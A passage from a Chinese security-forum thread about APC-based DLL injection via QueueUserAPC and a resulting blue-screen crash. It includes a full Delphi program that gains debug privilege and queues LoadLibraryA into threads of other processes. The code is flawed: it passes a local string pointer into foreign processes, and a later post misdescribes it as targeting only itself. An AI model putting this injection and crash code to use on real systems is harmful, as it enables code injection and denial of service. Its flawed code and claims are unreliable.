能力值:
(RANK:1060 )
|
-
-
2 楼
插到不该插的地方了吧
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
应该是
不过Ring3怎么能插到Ring0线程里?
我就怀疑这一点是不是能利用一下
还有,不知道为什么,往svchost里面插可以成功,但是notepad就不行
难道这东西是专门给干坏事的人准备的?
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
QueueUserAPC
|
能力值:
( LV4,RANK:50 )
|
-
-
5 楼
确实 QueueUserAPC 也可以....囧,我刚按楼主的思路写了个程序,SP3也蓝了。
做法是反复调用 QueueUserAPC() 直到蓝屏
平时QueueUserAPC() 返回false,连续来几次就出问题 ,搞不懂啊...
完整代码如下:
program APC_Blue;
uses
Windows, SysUtils, TlHelp32;
{$APPTYPE CONSOLE}
const
THREAD_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $3FF);
dllName: AnsiString = '随便写点什么,反正会出错.dll';
type
NTSTATUS = LongInt;
PVOID = Pointer;
PKNORMAL_ROUTINE = procedure (NormalContext, SystemArgument1, SystemArgument2: PVOID); stdcall;
function OpenThread(dwDesiredAccess: DWORD; bInheritHandle: BOOL;
dwThreadId: DWORD): THANDLE; stdcall; external kernel32 name 'OpenThread';
// 提升权限
function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
a: DWORD;
const
SE_DEBUG_NAME = 'SeDebugPrivilege';
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if bEnabled then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
a := 0;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(tp), nil, a);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hToken);
end;
end;
var
hThread, hSnap: THandle;
lcPID: ULong;
thdEntry: TThreadEntry32;
pStrDll: PAnsiChar;
tmpStr: String;
begin
EnabledDebugPrivilege(True);
lcPID := GetCurrentProcessId();
// 用Apc插入DLL
thdEntry.dwSize := SizeOf(TThreadEntry32);
hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
WriteLn(Format('wait a few minutes...', [lcPID]));
try
if Thread32First(hSnap, thdEntry) then
while (Thread32Next(hSnap, thdEntry)) do
begin
if (lcPID <> thdEntry.th32OwnerProcessID) then
begin
WriteLn(Format('Lock Thread on Process[%4d], OpenThread()...', [lcPID]));
hThread := OpenThread(THREAD_ALL_ACCESS, False, thdEntry.th32ThreadID);
if hThread <> 0 then
begin
WriteLn(Format(' OpenThread() = %d, Ready for QueueUserAPC()...', [hThread]));
pStrDll := PAnsiChar(dllName);
QueueUserAPC(@LoadLibraryA, hThread, DWORD(pStrDll));
// QueueUserAPC 反复执行几次(一般返回的是False),然后就蓝屏了
CloseHandle(hThread);
end;
end;
end;
except on E: Exception do
// 里面直接蓝了,根本到不了这里
WriteLn('ERROR: ' + E.Message);
end;
CloseHandle(hSnap);
ReadLn;
end.
附带编译好的程序和工程文件。
|
能力值:
( LV3,RANK:30 )
|
-
-
6 楼
APC 插,怎么插,我都没蓝过!
|
能力值:
( LV4,RANK:50 )
|
-
-
7 楼
以前没试过APC,所以不清楚。不过上面的程序是插自己:
lcPID := GetCurrentProcessId();
本来是不应该有问题的。DLL字符串也没有问题,难道是QueueUserAPC(@LoadLibraryA, ..)传入的参数引起的?
多次执行QueueUserAPC()都返回失败,于是我就把循环里的Sleep(100)去了,问题就和LZ所说一般,连续错个几次就蓝屏。
对WinDbg不熟,实在找不出错误的原因啊...
|
|
|